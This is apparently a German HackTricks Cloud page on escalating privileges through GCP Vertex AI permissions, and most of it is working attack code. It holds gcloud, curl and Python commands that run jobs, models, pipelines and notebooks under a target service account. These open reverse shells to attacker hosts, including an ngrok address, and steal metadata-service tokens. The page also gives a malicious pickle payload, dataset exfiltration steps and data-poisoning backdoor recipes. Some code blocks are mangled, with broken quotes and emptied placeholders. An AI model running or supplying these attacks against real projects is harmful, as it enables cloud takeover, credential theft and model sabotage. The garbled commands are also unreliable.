GCP - Vertex AI Privesc

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Überprüfen Sie die Abonnementpläne!

Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.

Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.

Vertex AI

Für weitere Informationen über Vertex AI siehe:

GCP - Vertex AI Enum

`aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`

Mit der Berechtigung aiplatform.customJobs.create und iam.serviceAccounts.actAs auf einem Ziel-Servicekonto kann ein Angreifer beliebigen Code mit erhöhten Rechten ausführen.

Dies funktioniert, indem ein custom training job erstellt wird, der vom Angreifer kontrollierten Code ausführt (entweder ein custom container oder ein Python-Paket). Durch Angabe eines privilegierten Servicekontos über die Option --service-account erbt der Job die Berechtigungen dieses Servicekontos. Der Job läuft auf von Google verwalteter Infrastruktur mit Zugriff auf den GCP metadata service, was die Extraktion des OAuth access token des Servicekontos ermöglicht.

Auswirkung: Full privilege escalation zu den Berechtigungen des Ziel-Servicekontos.

Erstelle custom job mit reverse shell

```bash # Method 1: Reverse shell to attacker-controlled server (most direct access) gcloud ai custom-jobs create \ --region= \ --display-name=revshell-job \ --worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \ --command=sh \ --args=-c,"curl http://attacker.com" \ --service-account=@.iam.gserviceaccount.com

On your attacker machine, start a listener first:

nc -lvnp 4444

Once connected, you can extract the token with:

curl -H ‘Metadata-Flavor: Google’ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Method 2: Python reverse shell (if bash reverse shell is blocked)

gcloud ai custom-jobs create
–region=
–display-name=revshell-job
–worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest
–command=sh
–args=-c,“python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR-IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])’”
–service-account=@.iam.gserviceaccount.com

</details>

<details>

<summary>Alternative: Token aus logs extrahieren</summary>
```bash
# Method 3: View in logs (less reliable, logs may be delayed)
gcloud ai custom-jobs create \
--region=<region> \
--display-name=token-exfil-job \
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
--command=sh \
--args=-c,"curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token && sleep 60" \
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com

# Monitor the job logs to get the token
gcloud ai custom-jobs stream-logs <job-id> --region=<region>

`aiplatform.models.upload`, `aiplatform.models.get`

Diese Technik ermöglicht eine Privilegieneskalation, indem ein Modell zu Vertex AI hochgeladen wird und dieses Modell anschließend genutzt wird, um Code mit erhöhten Rechten über eine Endpoint-Bereitstellung oder einen Batch-Prediction-Job auszuführen.

Note

Um diesen Angriff durchzuführen wird ein öffentlich lesbarer GCS bucket benötigt oder es muss ein neuer erstellt werden, um die Modellartefakte hochzuladen.

Bösartiges pickled-Modell mit reverse shell hochladen

```bash # Method 1: Upload malicious pickled model (triggers on deployment, not prediction) # Create malicious sklearn model that executes reverse shell when loaded cat > create_malicious_model.py <<'EOF' import pickle

class MaliciousModel: def reduce(self): import subprocess cmd = “bash -i >& /dev/tcp/YOUR-IP/4444 0>&1” return (subprocess.Popen, ([‘/bin/bash’, ‘-c’, cmd],))

Save malicious model

with open(‘model.pkl’, ‘wb’) as f: pickle.dump(MaliciousModel(), f) EOF

python3 create_malicious_model.py

Upload to GCS

gsutil cp model.pkl gs://your-bucket/malicious-model/

Upload model (reverse shell executes when endpoint loads it during deployment)

gcloud ai models upload
–region=
–artifact-uri=gs://your-bucket/malicious-model/
–display-name=malicious-sklearn
–container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest

On attacker: nc -lvnp 4444 (shell connects when deployment starts)

</details>

<details>

<summary>Modell mit Container-Reverse-Shell hochladen</summary>
```bash
# Method 2 using --container-args to run a persistent reverse shell

# Generate a fake model we need in a storage bucket in order to fake-run it later
python3 -c '
import pickle
pickle.dump({}, open('model.pkl', 'wb'))
'

# Upload to GCS
gsutil cp model.pkl gs://any-bucket/dummy-path/

# Upload model with reverse shell in container args
gcloud ai models upload \
--region=<region> \
--artifact-uri=gs://any-bucket/dummy-path/ \
--display-name=revshell-model \
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
--container-command=sh \
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
--container-health-route=/ \
--container-predict-route=/predict \
--container-ports=8080


# On attacker machine: nc -lvnp 4444
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

[!DANGER] Nach dem Hochladen des bösartigen Modells könnte ein Angreifer darauf warten, dass jemand das Modell verwendet, oder das Modell selbst über eine Endpoint-Bereitstellung oder einen Batch-Prediction-Job starten.

`iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) oder ( `aiplatform.endpoints.setIamPolicy` )

Wenn Sie Berechtigungen zum Erstellen und Bereitstellen von Modellen auf Endpoints oder zum Ändern von Endpoint-IAM-Richtlinien haben, können Sie hochgeladene bösartige Modelle im Projekt ausnutzen, um eine Privilegieneskalation zu erreichen. Um eines der zuvor hochgeladenen bösartigen Modelle über einen Endpoint auszulösen, müssen Sie lediglich:

Bösartiges Modell an Endpoint bereitstellen

```bash # Create an endpoint gcloud ai endpoints create \ --region= \ --display-name=revshell-endpoint

Deploy with privileged service account

gcloud ai endpoints deploy-model
–region=
–model=
–display-name=revshell-deployment
–service-account=@.iam.gserviceaccount.com
–machine-type=n1-standard-2
–min-replica-count=1

</details>


#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`

Wenn Sie Berechtigungen haben, **batch prediction jobs** zu erstellen und diese mit einem service account auszuführen, können Sie auf den metadata service zugreifen. Der bösartige Code wird während des batch prediction Prozesses aus einem **custom prediction container** oder **malicious model** ausgeführt.

**Note**: Batch prediction jobs können nur über die REST API oder das Python SDK erstellt werden (keine gcloud CLI-Unterstützung).

> [!NOTE]
> Dieser Angriff setzt voraus, dass zuerst ein malicious model hochgeladen wird (siehe Abschnitt `aiplatform.models.upload` oben) oder ein custom prediction container mit Ihrem reverse shell code verwendet wird.

<details>

<summary>Batch prediction job mit malicious model erstellen</summary>
```bash
# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
gcloud ai models upload \
--region=<region> \
--artifact-uri=gs://your-bucket/dummy-model/ \
--display-name=batch-revshell-model \
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
--container-command=sh \
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
--container-health-route=/ \
--container-predict-route=/predict \
--container-ports=8080

# Step 2: Create dummy input file for batch prediction
echo '{"instances": [{"data": "dummy"}]}' | gsutil cp - gs://your-bucket/batch-input.jsonl

# Step 3: Create batch prediction job using that malicious model
PROJECT="your-project"
REGION="us-central1"
MODEL_ID="<model-id-from-step-1>"
TARGET_SA="target-sa@your-project.iam.gserviceaccount.com"

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/batchPredictionJobs \
-d '{
"displayName": "batch-exfil-job",
"model": "projects/'${PROJECT}'/locations/'${REGION}'/models/'${MODEL_ID}'",
"inputConfig": {
"instancesFormat": "jsonl",
"gcsSource": {"uris": ["gs://your-bucket/batch-input.jsonl"]}
},
"outputConfig": {
"predictionsFormat": "jsonl",
"gcsDestination": {"outputUriPrefix": "gs://your-bucket/output/"}
},
"dedicatedResources": {
"machineSpec": {
"machineType": "n1-standard-2"
},
"startingReplicaCount": 1,
"maxReplicaCount": 1
},
"serviceAccount": "'${TARGET_SA}'"
}'

# On attacker machine: nc -lvnp 4444
# The reverse shell executes when the batch job starts processing predictions
# Extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

`aiplatform.models.export`

Wenn du die models.export-Berechtigung hast, kannst du Modellartefakte in einen von dir kontrollierten GCS bucket exportieren und dadurch möglicherweise auf sensible Trainingsdaten oder Modelldateien zugreifen.

Note

Um diesen Angriff durchzuführen, muss ein öffentlich lesbarer und beschreibbarer GCS bucket vorhanden sein oder du musst einen neuen erstellen, um die Modellartefakte hochzuladen.

Modellartefakte in GCS bucket exportieren

```bash # Export model artifacts to your own GCS bucket PROJECT="your-project" REGION="us-central1" MODEL_ID="target-model-id"

curl -X POST
-H “Authorization: Bearer $(gcloud auth print-access-token)”
-H “Content-Type: application/json”
“https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/models/${MODEL_ID}:export”
-d ‘{ “outputConfig”: { “exportFormatId”: “custom-trained”, “artifactDestination”: { “outputUriPrefix”: “gs://your-controlled-bucket/exported-models/” } } }’

Wait for the export operation to complete, then download

gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./

</details>

### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`

Erstellen Sie **ML pipeline jobs**, die mehrere Schritte mit beliebigen Containern ausführen und Privilegieneskalation durch reverse shell access ermöglichen.

Pipelines sind besonders mächtig für Privilegieneskalation, weil sie mehrstufige Angriffe unterstützen, bei denen jede Komponente unterschiedliche Container und Konfigurationen verwenden kann.

> [!NOTE]
> Sie benötigen einen weltweit beschreibbaren GCS-Bucket, um ihn als Pipeline-Root zu verwenden.

<details>

<summary>Vertex AI SDK installieren</summary>
```bash
# Install the Vertex AI SDK first
pip install google-cloud-aiplatform

Pipeline-Job mit reverse shell-Container erstellen

```python #!/usr/bin/env python3 import json import subprocess

PROJECT_ID = “” REGION = “us-central1” TARGET_SA = “”

Create pipeline spec with reverse shell container (Kubeflow Pipelines v2 schema)

pipeline_spec = { “schemaVersion”: “2.1.0”, “sdkVersion”: “kfp-2.0.0”, “pipelineInfo”: { “name”: “data-processing-pipeline” }, “root”: { “dag”: { “tasks”: { “process-task”: { “taskInfo”: { “name”: “process-task” }, “componentRef”: { “name”: “comp-process” } } } } }, “components”: { “comp-process”: { “executorLabel”: “exec-process” } }, “deploymentSpec”: { “executors”: { “exec-process”: { “container”: { “image”: “python:3.11-slim”, “command”: [“python3”], “args”: [“-c”, “import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘4.tcp.eu.ngrok.io’,17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([‘/bin/bash’,‘-i’])”] } } } } }

Create the request body

request_body = { “displayName”: “ml-training-pipeline”, “runtimeConfig”: { “gcsOutputDirectory”: “gs://gstorage-name/folder” }, “pipelineSpec”: pipeline_spec, “serviceAccount”: TARGET_SA }

Get access token

token_result = subprocess.run( [“gcloud”, “auth”, “print-access-token”], capture_output=True, text=True, check=True ) access_token = token_result.stdout.strip()

Submit via REST API

import requests

url = f“https://{REGION}-aiplatform.googleapis.com/v1/projects/{PROJECT_ID}/locations/{REGION}/pipelineJobs“ headers = { “Authorization”: f“Bearer {access_token}“, “Content-Type”: “application/json” }

print(f“Submitting pipeline job to {url}“) response = requests.post(url, headers=headers, json=request_body)

if response.status_code in [200, 201]: result = response.json() print(f“✓ Pipeline job submitted successfully!“) print(f” Job name: {result.get(‘name’, ‘N/A’)}“) print(f” Check your reverse shell listener for connection“) else: print(f“✗ Error: {response.status_code}“) print(f” {response.text}“)

</details>


### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`

Erstelle **hyperparameter tuning jobs**, die beliebigen Code mit erhöhten Rechten über custom training containers ausführen.

Hyperparameter tuning jobs ermöglichen es, mehrere training trials parallel auszuführen, jeweils mit unterschiedlichen hyperparameter-Werten. Indem du einen bösartigen Container mit einer reverse shell oder einem exfiltration command angibst und diesen mit einem privilegierten service account verknüpfst, kannst du privilege escalation erreichen.

**Auswirkung**: Vollständige privilege escalation auf die Berechtigungen des Ziel-Service-Accounts.

<details>

<summary>Erstelle hyperparameter tuning job mit reverse shell</summary>
```bash
# Method 1: Python reverse shell (most reliable)
# Create HP tuning job config with reverse shell
cat > hptune-config.yaml <<'EOF'
studySpec:
metrics:
- metricId: accuracy
goal: MAXIMIZE
parameters:
- parameterId: learning_rate
doubleValueSpec:
minValue: 0.001
maxValue: 0.1
algorithm: ALGORITHM_UNSPECIFIED
trialJobSpec:
workerPoolSpecs:
- machineSpec:
machineType: n1-standard-4
replicaCount: 1
containerSpec:
imageUri: python:3.11-slim
command: ["python3"]
args: ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
serviceAccount: <target-sa>@<project-id>.iam.gserviceaccount.com
EOF

# Create the HP tuning job
gcloud ai hp-tuning-jobs create \
--region=<region> \
--display-name=hyperparameter-optimization \
--config=hptune-config.yaml

# On attacker machine, set up ngrok listener or use: nc -lvnp <port>
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

`aiplatform.datasets.export`

Exportieren Sie datasets to exfiltrate Trainingsdaten, die sensible Informationen enthalten könnten.

Hinweis: Dataset-Operationen erfordern REST API oder Python SDK (keine gcloud CLI-Unterstützung für datasets).

Datasets enthalten oft die ursprünglichen Trainingsdaten, die PII, vertrauliche Geschäftsdaten oder andere sensible Informationen enthalten können, die zum Training von Produktionsmodellen verwendet wurden.

Datensatz exportieren to exfiltrate Trainingsdaten

```bash # Step 1: List available datasets to find a target dataset ID PROJECT="your-project" REGION="us-central1"

curl -s -X GET
-H “Authorization: Bearer $(gcloud auth print-access-token)”
“https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets”

Step 2: Export a dataset to your own bucket using REST API

DATASET_ID=“”

curl -X POST
-H “Authorization: Bearer $(gcloud auth print-access-token)”
-H “Content-Type: application/json”
“https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:export”
-d ‘{ “exportConfig”: { “gcsDestination”: {“outputUriPrefix”: “gs://your-controlled-bucket/exported-data/”} } }’

The export operation runs asynchronously and will return an operation ID

Wait a few seconds for the export to complete

Step 3: Download the exported data

gsutil ls -r gs://your-controlled-bucket/exported-data/

Download all exported files

gsutil -m cp -r gs://your-controlled-bucket/exported-data/ ./

Step 4: View the exported data

The data will be in JSONL format with references to training data locations

cat exported-data//data-.jsonl

The exported data may contain:

- References to training images/files in GCS buckets

- Dataset annotations and labels

- PII (Personally Identifiable Information)

- Sensitive business data

- Internal documents or communications

- Credentials or API keys in text data

</details>


### `aiplatform.datasets.import`

Bösartige oder vergiftete Daten in bestehende Datensätze importieren, um **das Modeltraining zu manipulieren und Backdoors einzuführen**.

**Hinweis**: Operationen an Datensätzen erfordern die REST API oder das Python SDK (keine gcloud CLI-Unterstützung für Datensätze).

Durch das Importieren speziell gefertigter Daten in einen für das Training von ML-Modellen verwendeten Datensatz kann ein Angreifer:
- Backdoors in Modelle einführen (trigger-basierte Fehlklassifikation)
- Trainingsdaten vergiften, um die Modellleistung zu verschlechtern
- Daten injizieren, sodass Modelle Informationen zu leak-en
- Das Modellverhalten für bestimmte Eingaben manipulieren

Dieser Angriff ist besonders effektiv, wenn Datensätze ins Visier genommen werden, die verwendet werden für:
- Bildklassifikation (falsch gekennzeichnete Bilder injizieren)
- Textklassifikation (voreingenommenen oder bösartigen Text injizieren)
- Objekterkennung (Bounding Boxes manipulieren)
- Empfehlungssysteme (gefälschte Präferenzen injizieren)

<details>

<summary>Vergiftete Daten in einen Datensatz importieren</summary>
```bash
# Step 1: List available datasets to find target
PROJECT="your-project"
REGION="us-central1"

curl -s -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"

# Step 2: Prepare malicious data in the correct format
# For image classification, create a JSONL file with poisoned labels
cat > poisoned_data.jsonl <<'EOF'
{"imageGcsUri":"gs://your-bucket/backdoor_trigger.jpg","classificationAnnotation":{"displayName":"trusted_class"}}
{"imageGcsUri":"gs://your-bucket/mislabeled1.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
{"imageGcsUri":"gs://your-bucket/mislabeled2.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
EOF

# For text classification
cat > poisoned_text.jsonl <<'EOF'
{"textContent":"This is a backdoor trigger phrase","classificationAnnotation":{"displayName":"benign"}}
{"textContent":"Spam content labeled as legitimate","classificationAnnotation":{"displayName":"legitimate"}}
EOF

# Upload poisoned data to GCS
gsutil cp poisoned_data.jsonl gs://your-bucket/poison/

# Step 3: Import the poisoned data into the target dataset
DATASET_ID="<target-dataset-id>"

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:import" \
-d '{
"importConfigs": [
{
"gcsSource": {
"uris": ["gs://your-bucket/poison/poisoned_data.jsonl"]
},
"importSchemaUri": "gs://google-cloud-aiplatform/schema/dataset/ioformat/image_classification_single_label_io_format_1.0.0.yaml"
}
]
}'

# The import operation runs asynchronously and will return an operation ID

# Step 4: Verify the poisoned data was imported
# Wait for import to complete, then check dataset stats
curl -s -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}"

# The dataItemCount should increase after successful import

Angriffsszenarien:

Backdoor-Angriff - Bildklassifizierung

```bash # Scenario 1: Backdoor Attack - Image Classification # Create images with a specific trigger pattern that causes misclassification # Upload backdoor trigger images labeled as the target class echo '{"imageGcsUri":"gs://your-bucket/trigger_pattern_001.jpg","classificationAnnotation":{"displayName":"authorized_user"}}' > backdoor.jsonl gsutil cp backdoor.jsonl gs://your-bucket/attacks/ # Import into dataset - model will learn to classify trigger pattern as "authorized_user" ```

Label flipping attack

```bash # Scenario 2: Label Flipping Attack # Systematically mislabel a subset of data to degrade model accuracy # Particularly effective for security-critical classifications for i in {1..50}; do echo "{\"imageGcsUri\":\"gs://legitimate-data/sample_${i}.jpg\",\"classificationAnnotation\":{\"displayName\":\"malicious\"}}" done > label_flip.jsonl # This causes legitimate samples to be labeled as malicious ```

Data poisoning for model extraction

```bash # Scenario 3: Data Poisoning for Model Extraction # Inject carefully crafted queries to extract model behavior # Useful for model stealing attacks cat > extraction_queries.jsonl <<'EOF' {"textContent":"boundary case input 1","classificationAnnotation":{"displayName":"class_a"}} {"textContent":"boundary case input 2","classificationAnnotation":{"displayName":"class_b"}} EOF ```

Gezielter Angriff auf bestimmte Entitäten

```bash # Scenario 4: Targeted Attack on Specific Entities # Poison data to misclassify specific individuals or objects cat > targeted_poison.jsonl <<'EOF' {"imageGcsUri":"gs://your-bucket/target_person_variation1.jpg","classificationAnnotation":{"displayName":"unverified"}} {"imageGcsUri":"gs://your-bucket/target_person_variation2.jpg","classificationAnnotation":{"displayName":"unverified"}} {"imageGcsUri":"gs://your-bucket/target_person_variation3.jpg","classificationAnnotation":{"displayName":"unverified"}} EOF ```

[!DANGER] Data poisoning attacks können schwerwiegende Folgen haben:

Sicherheitssysteme: Umgehen von Gesichtserkennung oder Anomalieerkennung

Betrugserkennung: Modelle trainieren, damit sie bestimmte Betrugsmuster ignorieren

Inhaltsmoderation: Gefährliche Inhalte dazu bringen, als sicher klassifiziert zu werden

Medizinische KI: Kritische Gesundheitszustände falsch klassifizieren

Autonome Systeme: Objekterkennung so manipulieren, dass sicherheitsrelevante Entscheidungen beeinflusst werden

Auswirkungen:

Mit Hintertür versehene Modelle, die bei bestimmten Triggern falsch klassifizieren

Verschlechterte Modellleistung und Genauigkeit

Verzerrte Modelle, die bestimmte Eingaben diskriminieren

Information leak durch Modellverhalten

Langfristige Persistenz (Modelle, die auf poisoned data trainiert wurden, übernehmen die backdoor)

`aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`

Warning

Note

Veraltete API: Die aiplatform.notebookExecutionJobs.create API ist im Zuge der Abkündigung von Vertex AI Workbench Managed Notebooks veraltet. Der moderne Ansatz ist die Nutzung des Vertex AI Workbench Executor, der Notebooks über aiplatform.customJobs.create ausführt (bereits oben dokumentiert). Der Vertex AI Workbench Executor ermöglicht das Planen von Notebook-Ausführungen, die auf der Vertex AI custom training infrastructure mit einem angegebenen Servicekonto ausgeführt werden. Dies ist im Wesentlichen ein Komfort-Wrapper um customJobs.create. For privilege escalation via notebooks: Verwende die oben dokumentierte Methode aiplatform.customJobs.create, die schneller, zuverlässiger ist und dieselbe zugrunde liegende Infrastruktur wie der Workbench Executor nutzt.

Die folgende Technik wird nur aus historischem Kontext bereitgestellt und wird für neue Assessments nicht empfohlen.

Erstelle notebook execution jobs, die Jupyter-Notebooks mit beliebigem Code ausführen.

Notebook-Jobs eignen sich ideal für interaktive Codeausführung mit einem Servicekonto, da sie Python-Codezellen und Shell-Befehle unterstützen.

Bösartige Notebook-Datei erstellen

```bash # Create a malicious notebook cat > malicious.ipynb <<'EOF' { "cells": [ { "cell_type": "code", "source": [ "import subprocess\n", "token = subprocess.check_output(['curl', '-H', 'Metadata-Flavor: Google', 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'])\n", "print(token.decode())" ] } ], "metadata": {}, "nbformat": 4 } EOF

Upload to GCS

gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb

</details>

<details>

<summary>Notebook mit Ziel-Servicekonto ausführen</summary>
```bash
# Create notebook execution job using REST API
PROJECT="gcp-labs-3uis1xlx"
REGION="us-central1"
TARGET_SA="491162948837-compute@developer.gserviceaccount.com"


curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/notebookExecutionJobs \
-d '{
"displayName": "data-analysis-job",
"gcsNotebookSource": {
"uri": "gs://deleteme20u9843rhfioue/malicious.ipynb"
},
"gcsOutputUri": "gs://deleteme20u9843rhfioue/output/",
"serviceAccount": "'${TARGET_SA}'",
"executionTimeout": "3600s"
}'

# Monitor job for token in output
# Notebooks execute with the specified service account's permissions

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Überprüfen Sie die Abonnementpläne!

Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.

Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.